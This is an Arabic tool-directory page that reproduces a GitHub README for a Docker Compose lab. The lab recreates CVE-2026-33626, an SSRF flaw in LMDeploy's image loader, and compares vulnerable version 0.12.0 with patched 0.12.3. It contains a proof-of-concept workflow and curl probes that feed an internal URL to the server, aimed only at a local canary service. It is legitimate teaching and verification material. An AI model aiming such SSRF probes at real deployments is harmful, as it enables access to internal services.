Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33626-Lab — مختبر Docker Compose يعيد إنتاج ثغرة CVE-2026-33626 من نوع SSRF في محمّل الصور الخاص بنظام الرؤية-اللغة في LMDeploy. يقارن السلوك الهش (0.12.0) بالسلوك المُصحَّح (0.12.3) مع سكربت PoC وخدمة كَناري داخلية. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
تحليل الثغرات الأمنيةأمن الويبCTFالتعلم والتعليمأمن الذكاء الاصطناعيمختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

مختبر Docker Compose يعيد إنتاج ثغرة CVE-2026-33626 من نوع SSRF في محمّل الصور الخاص بنظام الرؤية-اللغة في LMDeploy. يقارن السلوك الهش (0.12.0) بالسلوك المُصحَّح (0.12.3) مع سكربت PoC وخدمة كَناري داخلية.

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33626 — مختبر لاستغلال ثغرة SSRF في نموذج الرؤية واللغة في LMDeploy

نظرة عامة

يستنسخ هذا المستودع CVE-2026-33626، وهي ثغرة تزوير الطلبات من جانب الخادم (SSRF) في مسار تحميل الصور الخاص بنموذج الرؤية واللغة في LMDeploy.

يحدث السلوك الثغري عندما يستقبل LMDeploy عنوان URL لصورة، ويقوم محمّل الصور من جانب الخادم بجلب ذلك العنوان دون حظر العناوين الداخلية أو الخاصة أو الاسترجاعية (loopback) أو المرتبطة بالرابط المحلي (link-local) بشكل صحيح.

يقارن هذا المختبر:

الخدمةالإصدارالغرض
vulnLMDeploy 0.12.0يوضح السلوك الثغري
patchedLMDeploy 0.12.3يوضح السلوك المُصحح
internalخدمة كاناري محليةيحاكي موردًا داخليًا حصريًا داخل شبكة Docker

صُمم المختبر ليعمل محليًا باستخدام Docker Compose ولا يتصل بنقاط نهاية بيانات التعريف السحابية أو أهداف خارجية.


ملخص الثغرة

يدعم LMDeploy سير عمل الرؤية واللغة حيث يمكن تحميل صورة من عنوان URL يوفره المستخدم. في الإصدارات الثغرية، يمكن لكود تحميل الصور جلب عناوين URL يتم حلها إلى عناوين شبكة داخلية/خاصة.

قد يسمح ذلك لمهاجم لديه إمكانية الوصول إلى نقطة نهاية LMDeploy بجعل الخادم يطلب موارد داخلية، مثل:

  • خدمات HTTP الداخلية
  • نقاط نهاية بيانات التعريف
  • خدمات ذاكرة التخزين المؤقت/قواعد البيانات
  • لوحات الإدارة الخاصة
  • خدمات أخرى يمكن الوصول إليها من شبكة خادم الاستدلال

في هذا المختبر، الهدف الداخلي غير ضار عمدًا:

root@kitploit:~
http://internal:9000/private.png

هذا العنوان موجود فقط داخل شبكة Docker Compose.


تصميم المختبر

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

لا يشغّل المختبر خادم استدلال VLM كاملًا. بدلاً من ذلك، يعزل أولية تحميل الصور الثغرية في LMDeploy عبر استدعاء:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

هذا يحافظ على خفة الاستنساخ وقابلية تحديد النتيجة مع إظهار السلوك الأمني الذي تم تصحيحه.


هيكل المستودع

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

الخدمات

الخدمةعنوان المضيفمنفذ الحاويةالوصف
vulnhttp://127.0.0.1:80818000غلاف LMDeploy 0.12.0
patchedhttp://127.0.0.1:80828000غلاف LMDeploy 0.12.3
internalhttp://127.0.0.1:80909000خدمة الكاناري الداخلية

داخل شبكة Docker، يمكن الوصول إلى خدمة الكاناري الداخلية عبر:

root@kitploit:~
http://internal:9000/private.png

المتطلبات

  • Docker Desktop
  • Docker Compose v2
  • Python 3 لتشغيل سكربت إثبات المفهوم (PoC)

على Apple Silicon، تعمل خدمتا vuln وpatched كـ linux/amd64 لأن حزمة LMDeploy المستخدمة في هذا المختبر موجّهة لمعمارية x86_64.


تشغيل المختبر

قم ببناء الخدمات وتشغيلها:

root@kitploit:~
docker compose up -d --build

تحقق من حالة الحاويات:

root@kitploit:~
docker compose ps

الحالة المتوقعة:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

التحقق من الإصدارات

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

المخرجات المتوقعة:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

تشغيل إثبات المفهوم (PoC)

أنشئ بيئة افتراضية وقم بتثبيت التبعيات:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

شغّل إثبات المفهوم:

root@kitploit:~
python poc/poc.py

الهدف الافتراضي لـ SSRF هو:

root@kitploit:~
http://internal:9000/private.png

يمكن الوصول إلى هذا الهدف من حاويات Docker، وليس من الإنترنت العام.


النتيجة المتوقعة

الخدمة الثغرية

يجب أن تجلب الخدمة الثغرية صورة الكاناري الداخلية بنجاح:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

يؤكد هذا أن LMDeploy 0.12.0 قام بطلب من جانب الخادم إلى خدمة Docker الداخلية.

الخدمة المُصححة

يجب أن تحظر الخدمة المُصححة نفس العنوان قبل الوصول إلى الخدمة الداخلية:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

يؤكد هذا أن LMDeploy 0.12.3 يحظر عناوين URL التي يتم حلها إلى عناوين IP غير عامة/داخلية.

الملخص النهائي المتوقع:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

اختبار يدوي

أعد تعيين خدمة الكاناري الداخلية:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

اختبر الخدمة الثغرية:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

المتوقع: يحتوي /hits على طلب واحد.

اختبر الخدمة المُصححة:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

المتوقع: يبقى /hits فارغًا.


لماذا يُظهر هذا ثغرة SSRF

لا يطلب إثبات المفهوم الخدمة الداخلية مباشرةً بصفتها المهاجم.

بدلاً من ذلك، يرسل إثبات المفهوم عنوان URL داخليًا إلى LMDeploy. إذا قام LMDeploy بجلب هذا العنوان من داخل شبكة الحاوية، تسجّل خدمة الكاناري الداخلية الطلب.

يثبت هذا السلوك أولية SSRF:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

الإصدار المُصحح يمنع ذلك عن طريق رفض عناوين URL التي يتم حلها إلى عناوين IP غير عامة.


التنظيف

root@kitploit:~
docker compose down -v

المراجع

  • نشرة أمان GitHub: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • Commit التصحيح: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • طلب السحب: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • تحليل Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

تنزيل الأداة